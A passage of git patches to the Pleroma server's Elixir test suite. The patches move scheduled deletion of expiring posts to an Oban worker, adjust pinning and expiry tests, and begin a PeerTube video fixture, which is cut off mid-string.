Mix.Tasks.Pleroma.DatabaseTest do describe "ensure_expiration" do test "it adds to expiration old statuses" do - %{id: activity_id1} = insert(:note_activity) + activity1 = insert(:note_activity) - %{id: activity_id2} = - insert(:note_activity, %{inserted_at: NaiveDateTime.from_iso8601!("2015-01-23 23:50:07")}) + {:ok, inserted_at, 0} = DateTime.from_iso8601("2015-01-23T23:50:07Z") + activity2 = insert(:note_activity, %{inserted_at: inserted_at}) - %{id: activity_id3} = activity3 = insert(:note_activity) + %{id: activity_id3} = insert(:note_activity) - expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(60 * 61, :second) - |> NaiveDateTime.truncate(:second) + expires_at = DateTime.add(DateTime.utc_now(), 60 * 61) - Pleroma.ActivityExpiration.create(activity3, expires_at) + Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ + activity_id: activity_id3, + expires_at: expires_at + }) Mix.Tasks.Pleroma.Database.run(["ensure_expiration"]) - expirations = - Pleroma.ActivityExpiration - |> order_by(:activity_id) - |> Repo.all() - - assert [ - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id1 - }, - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id2, - scheduled_at: ~N[2016-01-23 23:50:07] - }, - %Pleroma.ActivityExpiration{ - activity_id: ^activity_id3, - scheduled_at: ^expires_at - } - ] = expirations + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity1.id}, + scheduled_at: + activity1.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity2.id}, + scheduled_at: + activity2.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) + ) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity_id3}, + scheduled_at: expires_at + ) end end end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 03f968aaf..9af573924 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -2069,18 +2069,25 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do end describe "global activity expiration" do - setup do: clear_config([:mrf, :policies]) - test "creates an activity expiration for local Create activities" do - Pleroma.Config.put( - [:mrf, :policies], - Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy + clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) + + {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) + {:ok, follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: + activity.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> Timex.shift(days: 365) ) - {:ok, %{id: id_create}} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, _follow} = ActivityBuilder.insert(%{"type" => "Follow", "context" => "3hu"}) - - assert [%{activity_id: ^id_create}] = Pleroma.ActivityExpiration |> Repo.all() + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: follow.id} + ) end end diff --git a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs index f25cf8b12..e7370d4ef 100644 --- a/test/web/activity_pub/mrf/activity_expiration_policy_test.exs +++ b/test/web/activity_pub/mrf/activity_expiration_policy_test.exs @@ -18,11 +18,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do "object" => %{"type" => "Note"} }) - assert Timex.diff(expires_at, NaiveDateTime.utc_now(), :days) == 364 + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 end test "keeps existing `expires_at` if it less than the config setting" do - expires_at = NaiveDateTime.utc_now() |> Timex.shift(days: 1) + expires_at = DateTime.utc_now() |> Timex.shift(days: 1) assert {:ok, %{"type" => "Create", "expires_at" => ^expires_at}} = ActivityExpirationPolicy.filter(%{ @@ -35,7 +35,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do end test "overwrites existing `expires_at` if it greater than the config setting" do - too_distant_future = NaiveDateTime.utc_now() |> Timex.shift(years: 2) + too_distant_future = DateTime.utc_now() |> Timex.shift(years: 2) assert {:ok, %{"type" => "Create", "expires_at" => expires_at}} = ActivityExpirationPolicy.filter(%{ @@ -46,7 +46,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicyTest do "object" => %{"type" => "Note"} }) - assert Timex.diff(expires_at, NaiveDateTime.utc_now(), :days) == 364 + assert Timex.diff(expires_at, DateTime.utc_now(), :days) == 364 end test "ignores remote activities" do diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 800db9a20..5afb0a6dc 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -4,6 +4,8 @@ defmodule Pleroma.Web.CommonAPITest do use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + alias Pleroma.Activity alias Pleroma.Chat alias Pleroma.Conversation.Participation @@ -598,15 +600,15 @@ defmodule Pleroma.Web.CommonAPITest do test "it can handle activities that expire" do user = insert(:user) - expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.truncate(:second) - |> NaiveDateTime.add(1_000_000, :second) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) - assert expiration = Pleroma.ActivityExpiration.get_by_activity_id(activity.id) - assert expiration.scheduled_at == expires_at + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id}, + scheduled_at: expires_at + ) end end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index f221884e7..17a156be8 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -4,9 +4,9 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo alias Pleroma.Activity - alias Pleroma.ActivityExpiration alias Pleroma.Config alias Pleroma.Conversation.Participation alias Pleroma.Object @@ -29,8 +29,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do setup do: oauth_access(["write:statuses"]) test "posting a status does not increment reblog_count when relaying", %{conn: conn} do - Pleroma.Config.put([:instance, :federating], true) - Pleroma.Config.get([:instance, :allow_relay], true) + Config.put([:instance, :federating], true) + Config.get([:instance, :allow_relay], true) response = conn @@ -103,7 +103,9 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do # An activity that will expire: # 2 hours - expires_in = 120 * 60 + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) conn_four = conn @@ -116,19 +118,13 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do assert fourth_response = %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) - assert activity = Activity.get_by_id(fourth_id) - assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) - - estimated_expires_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(expires_in) - |> NaiveDateTime.truncate(:second) - - # This assert will fail if the test takes longer than a minute. I sure hope it never does: - assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 + assert Activity.get_by_id(fourth_id) - assert fourth_response["pleroma"]["expires_at"] == - NaiveDateTime.to_iso8601(expiration.scheduled_at) + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: fourth_id}, + scheduled_at: expires_at + ) end test "it fails to create a status if `expires_in` is less or equal than an hour", %{ @@ -160,8 +156,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do end test "Get MRF reason when posting a status is rejected by one", %{conn: conn} do - Pleroma.Config.put([:mrf_keyword, :reject], ["GNO"]) - Pleroma.Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + Config.put([:mrf_keyword, :reject], ["GNO"]) + Config.put([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} = conn @@ -1681,19 +1677,17 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do test "expires_at is nil for another user" do %{conn: conn, user: user} = oauth_access(["read:statuses"]) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) - expires_at = - activity.id - |> ActivityExpiration.get_by_activity_id() - |> Map.get(:scheduled_at) - |> NaiveDateTime.to_iso8601() - - assert %{"pleroma" => %{"expires_at" => ^expires_at}} = + assert %{"pleroma" => %{"expires_at" => a_expires_at}} = conn |> get("/api/v1/statuses/#{activity.id}") |> json_response_and_validate_schema(:ok) + {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) + assert DateTime.diff(expires_at, a_expires_at) == 0 + %{conn: conn} = oauth_access(["read:statuses"]) assert %{"pleroma" => %{"expires_at" => nil}} = diff --git a/test/workers/cron/purge_expired_activities_worker_test.exs b/test/workers/cron/purge_expired_activities_worker_test.exs deleted file mode 100644 index d1acd9ae6..000000000 --- a/test/workers/cron/purge_expired_activities_worker_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Workers.Cron.PurgeExpiredActivitiesWorkerTest do - use Pleroma.DataCase - - alias Pleroma.ActivityExpiration - alias Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker - - import Pleroma.Factory - import ExUnit.CaptureLog - - setup do - clear_config([ActivityExpiration, :enabled]) - end - - test "deletes an expiration activity" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - activity = insert(:note_activity) - - naive_datetime = - NaiveDateTime.add( - NaiveDateTime.utc_now(), - -:timer.minutes(2), - :millisecond - ) - - expiration = - insert( - :expiration_in_the_past, - %{activity_id: activity.id, scheduled_at: naive_datetime} - ) - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - refute Pleroma.Repo.get(Pleroma.Activity, activity.id) - refute Pleroma.Repo.get(Pleroma.ActivityExpiration, expiration.id) - end - - test "works with ActivityExpirationPolicy" do - Pleroma.Config.put([ActivityExpiration, :enabled], true) - - clear_config([:mrf, :policies], Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy) - - user = insert(:user) - - days = Pleroma.Config.get([:mrf_activity_expiration, :days], 365) - - {:ok, %{id: id} = activity} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) - - past_date = - NaiveDateTime.utc_now() |> Timex.shift(days: -days) |> NaiveDateTime.truncate(:second) - - activity - |> Repo.preload(:expiration) - |> Map.get(:expiration) - |> Ecto.Changeset.change(%{scheduled_at: past_date}) - |> Repo.update!() - - Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker.perform(%Oban.Job{}) - - assert [%{data: %{"type" => "Delete", "deleted_activity_id" => ^id}}] = - Pleroma.Repo.all(Pleroma.Activity) - end - - describe "delete_activity/1" do - test "adds log message if activity isn't find" do - assert capture_log([level: :error], fn -> - PurgeExpiredActivitiesWorker.delete_activity(%ActivityExpiration{ - activity_id: "test-activity" - }) - end) =~ "Couldn't delete expired activity: not found activity" - end - - test "adds log message if actor isn't find" do - assert capture_log([level: :error], fn -> - PurgeExpiredActivitiesWorker.delete_activity(%ActivityExpiration{ - activity_id: "test-activity" - }) - end) =~ "Couldn't delete expired activity: not found activity" - end - end -end diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs new file mode 100644 index 000000000..8b5dc9fd2 --- /dev/null +++ b/test/workers/purge_expired_activity_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.PurgeExpiredActivityTest do + use Pleroma.DataCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Workers.PurgeExpiredActivity + + test "denies expirations that don't live long enough" do + activity = insert(:note_activity) + + assert {:error, :expiration_too_close} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.utc_now() + }) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + end + + test "enqueue job" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: activity.id} + ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + end +end -- cgit v1.2.3 From de4c935071a47c78d873484b202e09dce5399570 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 24 Aug 2020 13:43:02 +0300 Subject: don't expire pinned posts --- test/workers/purge_expired_activity_test.exs | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) (limited to 'test') diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 8b5dc9fd2..736d7d567 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -44,4 +44,25 @@ defmodule Pleroma.Workers.PurgeExpiredActivityTest do assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end + + test "don't delete pinned posts, schedule deletion on next day" do + activity = insert(:note_activity) + + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: activity.id, + expires_at: DateTime.utc_now(), + validate: false + }) + + user = Pleroma.User.get_by_ap_id(activity.actor) + {:ok, activity} = Pleroma.Web.CommonAPI.pin(activity.id, user) + + assert %{success: 1, failure: 0} == + Oban.drain_queue(queue: :activity_expiration, with_scheduled: true) + + job = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + + assert DateTime.diff(job.scheduled_at, DateTime.add(DateTime.utc_now(), 24 * 3600)) in [0, 1] + end end -- cgit v1.2.3 From 93e1c8df9dca697e7bdb822a8a5b3848b7870f53 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 3 Sep 2020 13:30:39 +0300 Subject: reject activity creation if passed expires_at option and expiring activities are not configured --- test/web/activity_pub/activity_pub_test.exs | 57 ++++++++++++++++++++++++----- 1 file changed, 47 insertions(+), 10 deletions(-) (limited to 'test') diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 9af573924..d8caa0b00 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -239,7 +239,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do } } - assert {:error, {:remote_limit_error, _}} = ActivityPub.insert(data) + assert {:error, :remote_limit} = ActivityPub.insert(data) end test "doesn't drop activities with content being null" do @@ -386,9 +386,11 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do end describe "create activities" do - test "it reverts create" do - user = insert(:user) + setup do + [user: insert(:user)] + end + test "it reverts create", %{user: user} do with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do assert {:error, :reverted} = ActivityPub.create(%{ @@ -407,9 +409,47 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert Repo.aggregate(Object, :count, :id) == 0 end - test "removes doubled 'to' recipients" do - user = insert(:user) + test "creates activity if expiration is not configured and expires_at is not passed", %{ + user: user + } do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:ok, _} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + } + }) + end + test "rejects activity if expires_at present but expiration is not configured", %{user: user} do + clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) + + assert {:error, :expired_activities_disabled} = + ActivityPub.create(%{ + to: ["user1", "user2"], + actor: user, + context: "", + object: %{ + "to" => ["user1", "user2"], + "type" => "Note", + "content" => "testing" + }, + additional: %{ + "expires_at" => DateTime.utc_now() + } + }) + + assert Repo.aggregate(Activity, :count, :id) == 0 + assert Repo.aggregate(Object, :count, :id) == 0 + end + + test "removes doubled 'to' recipients", %{user: user} do {:ok, activity} = ActivityPub.create(%{ to: ["user1", "user1", "user2"], @@ -427,9 +467,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert activity.recipients == ["user1", "user2", user.ap_id] end - test "increases user note count only for public activities" do - user = insert(:user) - + test "increases user note count only for public activities", %{user: user} do {:ok, _} = CommonAPI.post(User.get_cached_by_id(user.id), %{ status: "1", @@ -458,8 +496,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do assert user.note_count == 2 end - test "increases replies count" do - user = insert(:user) + test "increases replies count", %{user: user} do user2 = insert(:user) {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) -- cgit v1.2.3 From eb5ff715f7917e174b9ae104a5d82779ff925301 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Fri, 4 Sep 2020 11:40:32 +0300 Subject: pin/unpin for activities with expires_at option --- .../controllers/status_controller_test.exs | 49 +++++++++++++++++++++- test/workers/purge_expired_activity_test.exs | 21 ---------- 2 files changed, 47 insertions(+), 23 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 17a156be8..82ea73898 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -115,8 +115,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do "expires_in" => expires_in }) - assert fourth_response = - %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) + assert %{"id" => fourth_id} = json_response_and_validate_schema(conn_four, 200) assert Activity.get_by_id(fourth_id) @@ -1142,6 +1141,52 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do |> post("/api/v1/statuses/#{activity_two.id}/pin") |> json_response_and_validate_schema(400) end + + test "on pin removes deletion job, on unpin reschedule deletion" do + %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) + expires_in = 2 * 60 * 60 + + expires_at = DateTime.add(DateTime.utc_now(), expires_in) + + assert %{"id" => id} = + conn + |> put_req_header("content-type", "application/json") + |> post("api/v1/statuses", %{ + "status" => "oolong", + "expires_in" => expires_in + }) + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/pin") + |> json_response_and_validate_schema(200) + + refute_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + + assert %{"id" => ^id, "pinned" => false} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{id}/unpin") + |> json_response_and_validate_schema(200) + + assert_enqueued( + worker: Pleroma.Workers.PurgeExpiredActivity, + args: %{activity_id: id}, + scheduled_at: expires_at + ) + end end describe "cards" do diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 736d7d567..8b5dc9fd2 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -44,25 +44,4 @@ defmodule Pleroma.Workers.PurgeExpiredActivityTest do assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end - - test "don't delete pinned posts, schedule deletion on next day" do - activity = insert(:note_activity) - - assert {:ok, _} = - PurgeExpiredActivity.enqueue(%{ - activity_id: activity.id, - expires_at: DateTime.utc_now(), - validate: false - }) - - user = Pleroma.User.get_by_ap_id(activity.actor) - {:ok, activity} = Pleroma.Web.CommonAPI.pin(activity.id, user) - - assert %{success: 1, failure: 0} == - Oban.drain_queue(queue: :activity_expiration, with_scheduled: true) - - job = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) - - assert DateTime.diff(job.scheduled_at, DateTime.add(DateTime.utc_now(), 24 * 3600)) in [0, 1] - end end -- cgit v1.2.3 From 2c2094d4b2722cf511e3db8288c3754a48038f05 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Mon, 7 Sep 2020 20:57:38 +0300 Subject: configurable lifetime for ephemeral activities --- test/web/mastodon_api/controllers/status_controller_test.exs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) (limited to 'test') diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 82ea73898..633a25e50 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -129,8 +129,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do test "it fails to create a status if `expires_in` is less or equal than an hour", %{ conn: conn } do - # 1 hour - expires_in = 60 * 60 + # 1 minute + expires_in = 1 * 60 assert %{"error" => "Expiry date is too soon"} = conn @@ -141,8 +141,8 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do }) |> json_response_and_validate_schema(422) - # 30 minutes - expires_in = 30 * 60 + # 5 minutes + expires_in = 5 * 60 assert %{"error" => "Expiry date is too soon"} = conn -- cgit v1.2.3 From 15aece72382fe1862a58728b9d02990147f91365 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 8 Sep 2020 15:11:18 +0300 Subject: remove validate_expires_at from enqueue method --- test/workers/purge_expired_activity_test.exs | 34 +++++++++++++++++++--------- 1 file changed, 23 insertions(+), 11 deletions(-) (limited to 'test') diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 8b5dc9fd2..b5938776d 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -10,22 +10,27 @@ defmodule Pleroma.Workers.PurgeExpiredActivityTest do alias Pleroma.Workers.PurgeExpiredActivity - test "denies expirations that don't live long enough" do + test "enqueue job" do activity = insert(:note_activity) - assert {:error, :expiration_too_close} = + assert {:ok, _} = PurgeExpiredActivity.enqueue(%{ activity_id: activity.id, - expires_at: DateTime.utc_now() + expires_at: DateTime.add(DateTime.utc_now(), 3601) }) - refute_enqueued( + assert_enqueued( worker: Pleroma.Workers.PurgeExpiredActivity, args: %{activity_id: activity.id} ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end - test "enqueue job" do + test "error if user was not found" do activity = insert(:note_activity) assert {:ok, _} = @@ -34,14 +39,21 @@ defmodule Pleroma.Workers.PurgeExpiredActivityTest do expires_at: DateTime.add(DateTime.utc_now(), 3601) }) - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id} - ) + user = Pleroma.User.get_by_ap_id(activity.actor) + Pleroma.Repo.delete(user) - assert {:ok, _} = + assert {:error, :user_not_found} = perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + end - assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + test "error if actiivity was not found" do + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: "some_id", + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert {:error, :activity_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) end end -- cgit v1.2.3 From 846b59ccb09681bda0f54bed43f5b82883228e33 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 20 Aug 2020 02:00:04 +0200 Subject: Pipeline Ingestion: Video --- test/fixtures/tesla_mock/framatube.org-video.json | 2 +- .../transmogrifier/video_handling_test.exs | 93 +++++++++++++ test/web/activity_pub/transmogrifier_test.exs | 148 +-------------------- 3 files changed, 95 insertions(+), 148 deletions(-) create mode 100644 test/web/activity_pub/transmogrifier/video_handling_test.exs (limited to 'test') diff --git a/test/fixtures/tesla_mock/framatube.org-video.json b/test/fixtures/tesla_mock/framatube.org-video.json index 3d53f0c97..1fa529886 100644 --- a/test/fixtures/tesla_mock/framatube.org-video.json +++ b/test/fixtures/tesla_mock/framatube.org-video.json @@ -1 +1 @@ -{"type":"Video","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206","name":"Déframasoftisons Internet [Framasoft]","duration":"PT3622S","uuid":"6050732a-8a7a-43d4-a6cd-809525a1d206","tag":[{"type":"Hashtag","name":"déframasoftisons"},{"type":"Hashtag","name":"EPN23"},{"type":"Hashtag","name":"framaconf"},{"type":"Hashtag","name":"Framasoft"},{"type":"Hashtag","name":"pyg"}],"category":{"identifier":"15","name":"Science & Technology"},"views":122,"sensitive":false,"waitTranscoding":false,"state":1,"commentsEnabled":true,"downloadEnabled":true,"published":"2020-05-24T18:34:31.569Z","originallyPublishedAt":"2019-11-30T23:00:00.000Z","updated":"2020-07-05T09:01:01.720Z","mediaType":"text/markdown","content":"Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?\r\n\r\nTranscription par @april...","support":null,"subtitleLanguage":[],"icon":{"type":"Image","url":"https://framatube.org/static/thumbnails/6050732a-8a7a-43d4-a6cd-809525a1d206.jpg","mediaType":"image/jpeg","width":223,"height":122},"url":[{"type":"Link","mediaType":"text/html","href":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206"},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080,"size":1157359410,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309939","height":1080,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent","height":1080},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.torrent&xt=urn:btih:381c9429900552e23a4eb506318f1fa01e4d63a8&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4","height":1080},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480,"size":250095131,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309941","height":480,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent","height":480},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.torrent&xt=urn:btih:a181dcbb5368ab5c31cc9ff07634becb72c344ee&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fwebseed%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.iselfhost.com%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Ftube.privacytools.io%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4&ws=https%3A%2F%2Fpeertube.live%2Fstatic%2Fredundancy%2F6050732a-8a7a-43d4-a6cd-809525a1d206-480.mp4","height":480},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/webseed